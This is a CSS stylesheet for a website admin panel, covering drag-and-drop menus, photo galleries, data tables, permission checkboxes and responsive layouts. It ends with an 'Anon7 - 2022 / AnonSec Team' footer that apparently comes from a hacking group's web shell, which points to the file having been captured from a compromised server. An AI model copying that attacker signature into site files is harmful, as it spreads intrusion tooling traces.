.dd-item > button { display: block; position: relative; cursor: pointer; float: left; width: 25px; height: 20px; margin: 5px 0; padding: 0; text-indent: 100%; white-space: nowrap; overflow: hidden; border: 0; background: transparent; font-size: 12px; line-height: 1; text-align: center; font-weight: bold; }
.dd-item > button:before { content: '+'; display: block; position: absolute; width: 100%; text-align: center; text-indent: 0; }
.dd-item > button[data-action="collapse"]:before { content: '-'; }
.dd-placeholder, .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; box-sizing: border-box; -moz-box-sizing: border-box; }
.dd-empty { border: 1px dashed #bbb; min-height: 100px; background-color: #e5e5e5; background-image: -webkit-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff), -webkit-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff); background-image:    -moz-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff), -moz-linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff); background-image:         linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff), linear-gradient(45deg, #fff 25%, transparent 25%, transparent 75%, #fff 75%, #fff); background-size: 60px 60px; background-position: 0 0, 30px 30px;}
.dd-dragel { position: absolute; pointer-events: none; z-index: 9999; }
.dd-dragel > .dd-item .dd-handle { margin-top: 0; }
.dd-dragel .dd-handle {-webkit-box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1); box-shadow: 2px 4px 6px 0 rgba(0,0,0,.1);}
.nestable-lists { display: block; clear: both; padding: 30px 0; width: 100%; border: 0; border-top: 2px solid #ddd; border-bottom: 2px solid #ddd; }
#nestable-menu { padding: 0; margin: 20px 0; }
#nestable-output, #nestable2-output { width: 100%; height: 400px; font-size: 0.75em; line-height: 1.333333em; font-family: Consolas, monospace; padding: 5px; box-sizing: border-box; -moz-box-sizing: border-box; }
#nestable2 .dd-handle {color: #fff; border: 1px solid #999; background: #bbb; background: -webkit-linear-gradient(top, #bbb 0%, #999 100%); background:    -moz-linear-gradient(top, #bbb 0%, #999 100%); background:         linear-gradient(top, #bbb 0%, #999 100%);}
#nestable2 .dd-handle:hover { background: #bbb; }
#nestable2 .dd-item > button:before { color: #fff; }
.dd-hover > .dd-handle { background: #2ea8e5 !important; }
.nestable-lists { display: block; clear: both; padding: 30px 0; width: 100%; height:auto; min-height:500px; border: 0; border-top: 2px solid #ddd; border-bottom: 2px solid #ddd; }
#nestable-menu { padding: 0; margin: 20px 0; }

.fileinput-button {position:relative; overflow:hidden; display:inline-block;}
.fileinput-button input {position:absolute; top:0; right:0; margin:0; opacity:0; -ms-filter:'alpha(opacity=0)'; font-size:200px !important; cursor:pointer;}
.btn-success {background-color:#5cb85c; border-color:#4cae4c; color:#fff;}
.btn {-moz-user-select:none; background-image:none; border:1px solid transparent; border-radius:4px; cursor:pointer; display:inline-block; font-size:14px; font-weight:400; line-height:1.42857; margin-bottom:0; padding:6px 12px; text-align:center; vertical-align:middle; white-space:nowrap;}
#progress, .progress {float:left; width:100%; background-color:#f5f5f5; border-radius:4px; box-shadow:0 1px 2px rgba(0, 0, 0, 0.1) inset; height:20px; margin:20px 0; overflow:hidden;}
.bar {height:18px; background:green;}
#success, .success {width:100%; color:#333; font-size:16px; font-weight:bold; margin:0 0 20px;}
.uploadSuccess {color:#4CAE4C;}
.uploadFailed {color:#E31B6E;}
#status, #uploadedPhotos {float:left; width:100%; margin-bottom:20px;}

ul#sortableEdit, #galleryUpload {float:left; width:100%; list-style-type:none; margin:25px 0; padding:0; position:relative; z-index:2;}
ul#sortableEdit li, #galleryUpload li {float:left; background:#FFF; width:212px; height:150px; text-align:center; margin:0 10px 10px 0; padding:5px; border:1px solid #CCC; position:relative;}
ul#sortableEdit li {cursor:move;}
.imageHolder {float:left; width:200px; height:138px; margin:0; overflow:hidden; position:relative;}
.delPhoto, .delUPhoto {position:absolute; background:#1B6636; top:5px; right:5px; width:32px; height:32px; line-height:30px; text-align:center; color:#FFF !important; font-size:30px; font-weight:600; overflow:hidden; cursor:pointer; z-index:90; border:1px solid #1B6636; border-radius:15px; -moz-border-radius:15px; -webkit-border-radius:15px; transition-duration:0.5s;}
.delPhoto:hover, .delUPhoto:hover {background:#EF9C20; text-decoration:none;}

#searchLoadingBG {position:absolute; background:rgba(255,255,255,0.6); top:0; left:0; width:100%; height:100%; z-index:97; display:none;}
#searchLoadingBG img {position:absolute; left:calc(50% - 64px); top:calc(50% - 64px); width:128px; height:128px;}

.submit100 {float:left; width:100%; height:40px; text-align:center; margin:20px 0;}
.submit50 {float:left; width:50%; text-align:center;}

.bgLang {float:left; width:100%; margin-bottom:20px;}


.bgThumb {float:left; width:24%; text-align:center; margin:0 1% 10px 0; overflow:hidden;}
.bgThumbImg {float:left; width:100%; display:flex; justify-content:center; align-items:center; overflow:hidden; margin-bottom:10px;}
.bgThumb .update {float:right !important;}
.bgThumb .delete {float:left !important;}
.deleteImage, .pFormImg {float:left;}
.updateImage {float:right; clear:none;}
.pFormImg img {width:100%; height:auto;}

#slidePreview, #slideContent {float:left; width:100%; height:400px;}
#slideContent {text-align:center; display:flex; justify-content:center; flex-direction:column; align-items:center; font-family:"Poppins", Arial, Verdana, Helvetica;}
#slideContent h1, #slideContent p {position:relative; z-index:1; text-shadow:1px 1px 1px rgba(0, 0, 0, 0.6);}
#slideContent h1 {font-size:40px; line-height:44px; font-weight:normal; margin:0 0 15px;}
#slideContent p {font-size:16px;}
.galleryLink {height:40px; line-height:36px; font-size:16px; font-weight:500; padding:0 20px; margin:10px 15% 10px auto; border:1px solid rgba(0, 0, 0, 0.6); border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px; display:inline-block; transition-duration:0.5s; cursor:pointer; transition-duration:0.5s;}
.galleryLink:hover {border:1px solid rgba(0, 0, 0, 0); text-decoration:none;}

.custom-combobox {position:relative; display:inline-block;}
.custom-combobox-toggle {position:absolute; top:0; bottom:0; margin-left:-1px; padding:0;}
.custom-combobox-input {margin:0; padding:5px 10px;}

.ui-selectmenu-menu, .ui-autocomplete {max-height:200px; overflow-x:hidden; overflow-y:auto;}

.deletePop {position:fixed; display:table; height:100vh; width:100vw; top:0; left:0; z-index:99998; transform:scale(0); transition-duration:0.5s;}
.deletePopDisplay {transform:scale(1);}
.deletePop .deletePopBG {display:table-cell; background:rgba(35,31,32,0.8); text-align:center; vertical-align:middle;}
.deletePopContainer {width:96%; max-width:768px; background:#FFF; padding:10px; display:inline-block; border:2px solid #B0222A; border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px; -webkit-box-shadow:2px 2px 10px 0px rgba(0,0,0,0.6); -moz-box-shadow:2px 2px 10px 0px rgba(0,0,0,0.6); box-shadow:2px 2px 10px 0px rgba(0,0,0,0.6); transition-duration:0.5s; cursor:default; overflow-y:auto;}
.deleteWarning {color:#B0222A !important;}
.pForm50 {float:left; width:50%;}
.pForm50 .submitButton, .pForm50 .deleteButton {left:unset; margin:10px 0 !important; width:80%;}
.pForm50 .submitButton {float:left;}
.pForm50 .deleteButton {float:right;}
.form50 {font-weight:400 !important; text-align:center;}

#tournamentTable_wrapper, #leagueETable_wrapper {float:left; width:100%; margin:40px 0; max-width:100%; overflow-x:auto;}
#tournamentTable, #leagueETable {float:left; margin:20px 0;}
table.dataTable thead th, table.dataTable tbody td {text-align:left; font-size:14px;}
table.dataTable tbody td {color:#666; vertical-align:middle;}
.dataTables_length, .dataTables_filter, .dataTables_info {font-size:12px;}
.tableDate {display:none;}
td.tableBtns {text-align:center !important;}
.tableBtns .submitButton, .tableBtns .deleteButton, .galleryBtn {float:none; left:unset; width:auto; margin:0 auto 10px !important; padding:0 15px !important;}
.dataTables_paginate {margin-bottom:40px;}

#compID-menu .ui-menu-item-wrapper {padding:3px 1em 24px .4em;}
#compID-menu .ui-state-disabled .ui-menu-item-wrapper {padding:3px 1em 3px .4em;}
#compID-menu .ui-menu-item-wrapper span {position:absolute; left:5px; bottom:5px; font-size:12px;}

#galleryLayout {float:left; width:100%; position:relative; justify-content:center; display:flex; align-items:center; flex-direction:row; flex-wrap:wrap; margin-bottom:40px;}
.galleryLayoutContainer {padding:15px; background-clip:padding-box; text-align:left; display:inline-block; position:relative; vertical-align:top;}
.galleryLayoutBox {float:left; width:100%; height:100%; background:#FFF; padding:2px; border:1px solid #F1F2F3; border-radius:4px; -moz-border-radius:4px; -webkit-border-radius:4px;} 
.galleryLayoutPhoto, .galleryLayoutTitle, .galleryPhotoTitle, .galleryLayoutSave {float:left; width:100%;}
.galleryLayoutPhoto {aspect-ratio:16 / 9; overflow:hidden; position:relative; border-radius:2px 2px 0 0; -moz-border-radius:2px 2px 0 0; -webkit-border-radius:2px 2px 0 0;}
.galleryLayoutPhoto img {width:100%; height:auto; position:absolute; top:-9999px; bottom:-9999px; left:-9999px; right:-9999px; margin:auto;}
input.galleryPhotoTitle {border:1px solid #F5F5F5 !important; margin:5px 0 !important;}
.galleryLayoutTitle .ui-selectmenu-button {width:100%; margin:5px 0 0;}
.galleryLayoutSave {background:#175E32; height:40px; line-height:36px; color:#FFF; font-family:"Open Sans", Arial, Verdana, Helvetica; font-weight:600; padding:0 10px; border:1px solid #0C391D; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; transition-duration:0.5s; cursor:pointer; position:relative; display:block;}
.galleryLayoutSave:disabled {opacity:0.4; cursor:default !important;}

#areaSelectPreviewContainer {float:left; width:960px; height:1080px; margin-bottom:40px; border:1px solid #CCC; position:relative;}
#areaSelectPreviewContainer:after {content:"Preview"; position:absolute; top:calc(50% - 9px); left:0; width:100%; font-size:14px; text-align:center; z-index:0;}
#areaSelectPreview {position:absolute; top:0; left:0; width:960px; height:1080px; z-index:1; overflow:hidden;}

#areaSelectTPreviewContainer {float:left; width:960px; height:180px; margin-bottom:40px; border:1px solid #CCC; position:relative;}
#areaSelectTPreviewContainer:after {content:"Preview"; position:absolute; top:calc(50% - 9px); left:0; width:100%; font-size:14px; text-align:center; z-index:0;}
#areaSelectTPreview {position:absolute; top:0; left:0; width:960px; height:180px; z-index:1; overflow:hidden;}

#imgUploading {float:left; width:100%; height:15px; margin:12.5px 0; text-align:center; display:none;}

#passStrength, #passNoMatch {float:left; width:100%; text-align:center; font-size:16px; font-weight:600; display:none; margin-bottom:15px;}
#autoGenPass, #clearDate {float:left; background:#175E32; color:#FFF; font-family:"Open Sans", Arial, Verdana, Helvetica; text-align:center; font-size:14px; font-weight:600; padding:0 10px; display:flex; flex-direction:column; border:1px solid #0C391D; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; transition-duration:0.5s; cursor:pointer;}

.accessTitle, .accessChecks {float:left; width:100%;}
.accessTitle {font-weight:600;}
.accessChecks {display:flex; align-items:center; justify-content:center; flex-wrap:wrap; margin-bottom:20px;}
.accessCheck {float:left; background:#FCFCFC; min-height:30px; display:flex; flex-direction:row; align-items:center; margin:10px;}
.accessCheck:nth-of-type(2n+1) {background:#F1F2F3;}
.accessCheck:hover label {color:#231F20;}
.accessCheck input {margin-right:7px;}
.accessCheck input, .accessCheck label {float:left; cursor:pointer;}
.accessCheck label {color:#B0222A; width:100%; font-size:14px; transition-duration:0.5s;}
.accessCheck input:checked + label, .accessCheck i.fa-check-square + label {color:#5CB85C;}

.checkAll, .unCheckAll {float:right; height:22px; line-height:20px; display:block; color:#FFF; font-size:12px; padding:0 5px; border:1px solid rgba(0,0,0,0.3); border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; transition-duration:0.5s; cursor:pointer; position:relative;}
.checkAll {background:#175E32;}
.unCheckAll {background:#B0222A;}
.checkAll:hover, .unCheckAll:hover {background:#FEF200; color:231F20; text-decoration:none;}

.accessCheck i {margin:4px 7px 4px 4px;}
.accessCheck i.fa-check-square {color:#0060DF; }
.accessCheck i.fa-square {background:#FFF; color:#8F8F9D;}

.pagination{float:left; width:100%; height:40px; line-height:40px; text-align:center; margin:0 0 5px; position:relative;}
.pagiL {font-size:12px;}
.pagination a, .pagination span.currentPage {background:#FFF; min-width:30px; height:30px; line-height:28px; display:inline-block; font-size:14px; color:#231F20; text-decoration:none; margin:5px 1px; border:1px solid #C5C5C5; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
.prevLink, .nextLink, .pagination span.currentPage, .pagination span.currentPage {background:#175E32 !important; color:#FFF !important; font-weight:600; text-decoration:none; border:1px solid rgba(0,0,0,0.3);}
.prevLink, .nextLink {vertical-align:bottom;}
.prevLink:hover, .nextLink:hover, .pagination a:hover {background:#FEF200 !important; color:#231F20 !important;}
.pageSplitLeft {margin-left:20px !important;}
.pageSplitRight {margin-right:20px !important;}
.pageNumbers a {text-decoration:none !important;}

#clearDate {height:38px; line-height:36px; margin-left:10px;}

.logAction {float:left; width:100%; margin-bottom:20px; padding:10px 10px 0; border:1px solid #EBEBEB; border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px;}
.logAction:nth-child(even) {background:#F4F4F4;}
.logAction:nth-child(odd) {background:#FCFCFC;}
.logRow {float:left; width:100%; display:flex; flex-direction:row; justify-content:center; align-items:center; margin-bottom:10px;}
.logHalf {float:left; width:50%; display:flex; flex-direction:column; justify-content:center;}
.logDate, .logUser {font-weight:600;}
.logMsg {float:left; width:100%; margin-bottom:5px;}

.tinyTxtEditor img.imgLeft {float:left; width:33.3334%; margin:0 10px 10px 0;}
.tinyTxtEditor img.imgRight {float:right; width:33.3334%; margin:0 0 10px 10px;}
.tinyTxtEditor img.imgCentre {float:left; width:100%; height:auto !important; margin:10px 0;}
.tinyTxtEditor img {height:auto !important;}

#scrollToTop {position:fixed; right:10px; bottom:0; background:rgba(0, 0, 0, 0.6); width:49px; height:32px; line-height:20px; color:#FFF; font-family:Inter; font-size:32px; padding:9px 0 11px; text-align:center; text-decoration:none; z-index:9996; display:none; border:1px solid rgba(0, 0, 0, 0.6); border-bottom:none; border-radius:4px 4px 0 0; -moz-border-radius:4px 4px 0 0; -webkit-border-radius:4px 4px 0 0; transition-duration:0.5s; cursor:pointer; box-sizing:content-box; mix-blend-mode:multiply;}
#scrollToTop:hover {background:rgba(0, 0, 0, 1);}

@media screen and (min-width: 1200px) {
	#header, #footer, .container, .pageCanvas .selectableDiv {width:1170px; margin:0 auto;}
	#adminMenu li a {font-size:14px;}
	.pageCanvas {width:1172px; margin:15px 0 15px -294px;}
	.divSelector a, .pagesBack {width:calc(20% - 18px);}
	#ssSelectContent {width:1170px; left:50%; margin:-260px 0 0 -585px;}
	#previewContent {width:1200px; left:50%; margin:-260px 0 0 -600px;}
	#ssSelectClose {right:50%; margin-right:-585px;}
	#previewClose {margin-right:-600px;}
}
@media screen and (max-width: 1199px) {
	#header, #mainMenu, .container, #footer, .pageCanvas .selectableDiv {float:left; width:98%; margin:0 1%;}
	.pageCanvas {width:100%; left:auto; margin:15px 0 15px -250px;}
	#ssSelectContent, #previewContent {left:1%; width:98%; margin:-260px 0 0 0;}
	#ssSelectClose, #previewClose {right:1%;}
}
@media screen and (min-width: 1171px) {
	.bgThumbImg {height:125px;}
}
@media screen and (min-width: 1000px) and (max-width: 1170px) {
	#adminMenu li a {font-size:14px;}
	.divSelector a, .pagesBack {width:calc(25% - 18px);}
	.bgThumbImg {height:110px;}
}
@media screen and (min-width: 768px) and (max-width: 999px) {
	#adminMenu li a {font-size:12px;}
	.pageCanvas {width:770px; margin:15px 0 15px -192px;}
	.divSelector a, .pagesBack {width:calc(33.3334% - 18px);}
	.bgThumbImg {height:85px;}
}
@media screen and (min-width: 768px) {
	.memLoginContainer {width:500px; margin:0 0 40px -252px;}
	#header {margin:5px auto;}
	#headerRight {width:calc(100% - 153px);}
	#headerRight h1 {width:100%;}
	nav {width:23%; margin-right:2%; position:relative;}
	#adminMenu {width:100%; line-height:30px; margin:0 auto;}
	#adminMenu li {padding:0; display:inline-block; margin:0 0 5px;}
	.ddMenu li {margin:0 0 1px !important;}
	.ddMenu li:last-child {margin:0 !important;}
	#adminMenu ul, #adminMenu li, #adminMenu li a, #adminMenu p {float:left; width:100%;}
	#adminMenu p {font-weight:bold; margin:0;}
	#adminMenu li a {float:left; background:#F1F2F3; height:30px; line-height:30px; font-size:12px;}
	.showMenu {display:none;}
	#mainContainer {width:75%;}
	#homeMenuLeft {display:inline-block;}
	#homeMenuRight {display:none;}
	.langTitle {float:left; width:60%;}
	.languageHolder {float:left; width:24px; padding: 0 10px;}
	.langCheck {float:left; width:calc(40% - 54px); padding-left:50px;}
	.pFormRow, .hFormRow {padding:5px 10px;}
	.pFormTitle {display:block;}
	.pFormLabel {display:none;}
	.pFormInput, .pFormSelect, .pFormSlide, .featuresAdd, .percentAdd, .pFormFilterInput {width:50%;}
	.pFormFilter {width:33.3333%;}
	.pFormCheck, .pFormTitle + .tinyTxtEditor {width:66.6667%;}
	#autoGenPass {width:calc(15% - 10px); margin:0 0 0 10px;}
	.tinyTxtEditor {width:100%;}
	.percentAdd .pFormInput {width:100%; margin-bottom:5px;}
	.pagination {width:100%;}
	.paginationBottom {margin:0 0 25px;}
	.mobilePage, .mobileSplitLeft, .mobileSplitRight {display:none !important;}
	#langSelector a, .functionButtons input {width:calc(16.6667% - 5px);}
	.ddTitle, .dd, #dd-Home, #dd-Contact, #dd-Suites {width:40%;}
	.ddTitle:nth-child(2), .dd:nth-child(2) {margin-left:20%;}
	.pagesBack {margin:0 0px 10px 0;}
	#ssSelectContent, #previewContent {height:520px;}
	#ssSelectContent .mainContent {min-height:375px;}
	.infoButton span, .divSelector a span, .portlet-header span {width:300px; left:-350px; top:-40px;}
	.pFormImg {width:66.6667%;}
	.pForm20 {width:19%; margin-right:1%;}
	.submitHalf {float:left; width:50%;}
	.form50 {float:left; width:50%; margin-bottom:20px;}
	.accessChecks {flex-direction:row;}
	.galleryLayoutContainer, .accessCheck {width:calc(33.3333% - 20px);}
}
@media only screen and (max-width: 767px) {
	#headerRight {width:calc(100% - 223px);}
	#headerRight h1 {display:none;}
	#loggedIn {margin-top:50px;}
	.memLoginContainer {width:300px; margin:0 0 40px -152px;}
	.showMenu {position:fixed; top:0; right:0; display:inline-block;}
	nav {position:absolute; top:0; right:0; background:none; width:70px; height:70px; z-index:999;}
	#adminMenu {position:fixed; top:0; right:-100vw; width:100vw; height:100vh; background:rgba(35,31,32,0.8); padding:25px; z-index:-1; transition:transform 0.4s cubic-bezier(0.33333, 0.66667, 0.66667, 1) 0s; overflow-y:auto;}
	#adminMenu ul {margin:55px 0 70px;}
	#adminMenu li {padding:0;}
	#adminMenu li, #mobSignup, #mobLogin {opacity:0; transform:translate3d(0px, 100vh, 0px); transition-delay:0.8s, 0s; transition-duration:0.8s, 0.6s; transition-property:transform, opacity; transition-timing-function:cubic-bezier(0.7, 0, 0.3, 1);}
	#adminMenu li:first-child {border-top:1px solid #41454D;}
	#adminMenu p {color:#FFF; font-size:12px; font-weight:bold; margin:0 0 3px;}
	#adminMenu li a {display:table; color:#FFF; font-size:12px; text-align:center; width:100%; padding:5px 10px;}
	.ddMenu {margin:0 !important; min-width:100% !important; right:0 !important;}
	nav.is-active {display:block;}
	nav.is-active #adminMenu {transform:translateX(-100vw);}
	nav.is-active #adminMenu li {transform:translate3d(0px, 0px, 0px); opacity:1; transition:transform 0.8s ease 0s, opacity 0.6s ease 0s;}
	nav.is-active #adminMenu li:last-child {border-bottom:none;}
	nav li:last-child {border-bottom:none;}
	nav.is-active #adminMenu li:nth-child(2), #mobSignup {transition-delay:0.05s;}
	nav.is-active #adminMenu li:nth-child(3), #mobLogin {transition-delay:0.1s;}
	nav.is-active #adminMenu li:nth-child(4) {transition-delay:0.15s;}
	nav.is-active #adminMenu li:nth-child(5) {transition-delay:0.2s;}
	nav.is-active #adminMenu li:nth-child(6) {transition-delay:0.25s;}
	nav.is-active #adminMenu li:nth-child(7) {transition-delay:0.3s;}
	nav.is-active #adminMenu li:nth-child(8) {transition-delay:0.35s;}
	nav.is-active #adminMenu li:nth-child(9) {transition-delay:0.4s;}
	nav.is-active #adminMenu li:nth-child(n+10) {transition-delay:0.45s;}
	#mainContainer, .tinyTxtEditor {width:100%;}
	#homeMenuLeft {display:none;}
	#homeMenuRight {display:inline-block;}
	.infoButton span, .divSelector a span, .portlet-header span {width:150px;}
	.infoButton span {left:-200px; top:-10px;}
	.langTitle {float:left; width:100%; margin-bottom:5px;}
	.languageHolder {float:left; width:24px; padding: 0 10px; margin-bottom:15px;}
	.langCheck {float:left; width:calc(100% - 54px); padding-left:50px; margin-bottom:15px;}
	.pFormRow, .hFormRow {padding:15px 10px;}
	.pFormTitle {display:none;}
	.pFormInput, .pForm20, .pFormFilterInput {width:95% !important; border-top:none;}
	.pFormSelect, .pFormSlide, .featuresAdd {width:95% !important; padding:0;}
	.pFormSelect .ui-selectmenu-button {border-top:none; padding:15px 10px; border-radius:0; -moz-border-radius:0; -webkit-border-radius:0;}
	.pFormTxtRow {padding-top:0;}
	.pFormTxtRow .pFormLabel {width:calc(100% - 20px); left:10px;}
	.tinyTxtEditor {border-top:none;}
	#autoGenPass {width:95%; margin:10px 0;}
	#percentAdd, #mgAdd, .pFormFilter, .pFormCheck {width:100%;}
	.pagination {clear:left; left:50%; font-size:12px; line-height:20px; margin:0 0 25px -160px !important; width:320px;}
	.paginationBottom {margin:0 0 25px -160px !important;}
	.fullPage, .pageSplitLeft, .pageSplitRight {display:none !important;}
	.pageNumbers a.mobilePage, .nextLink, .prevLink, .mobileSplitRight, .mobileSplitLeft {display:inline-block !important;}
	.pageNumbers a, #listTypeSelContainer {display:none;}
	.mobileSplitRight {margin-right:20px !important;}
	.mobileSplitLeft {margin-left:20px !important;}
	.ui-selectmenu-button.ui-button {width:98% !important;}
	.divSelector a {width:calc(50% - 18px);}
	#langSelector a, .functionButtons input {width:calc(33.3334% - 5px);}
	.pageCanvas {width:100%; margin:15px 0;}
	.ddTitle, .dd, #dd-Home, #dd-Contact, #dd-Suites {width:75%;}
	.ddTitle:nth-child(2), .dd:nth-child(2) {margin-left:25%;}
	.pagesBack {margin:0 0px 10px 0;}
	#ssSelectContent, #previewContent {left:1%; top:10vh; width:98%; height:80vh; margin:0;}
	#ssSelectContent .mainContent {min-height:calc(80vh - 165px);}
	#ssSelectClose, #previewClose {right:1%;}
	.bgThumbImg {height:85px;}
	.pFormImg {width:100%;}
	.submitHalf, .form50 {float:left; width:100%; margin-bottom:10px;}
	.accessChecks {flex-direction:column;}
	.galleryLayoutContainer, .accessCheck {width:calc(100% - 20px);}
	.accessCheck {margin-bottom:10px;}
}

a {color:#231F20; text-decoration:none; transition-duration:0.5s;}
a:hover {color:#0C391D; transition-duration:0.5s; text-decoration:underline;}

Anon7 - 2022
AnonSec Team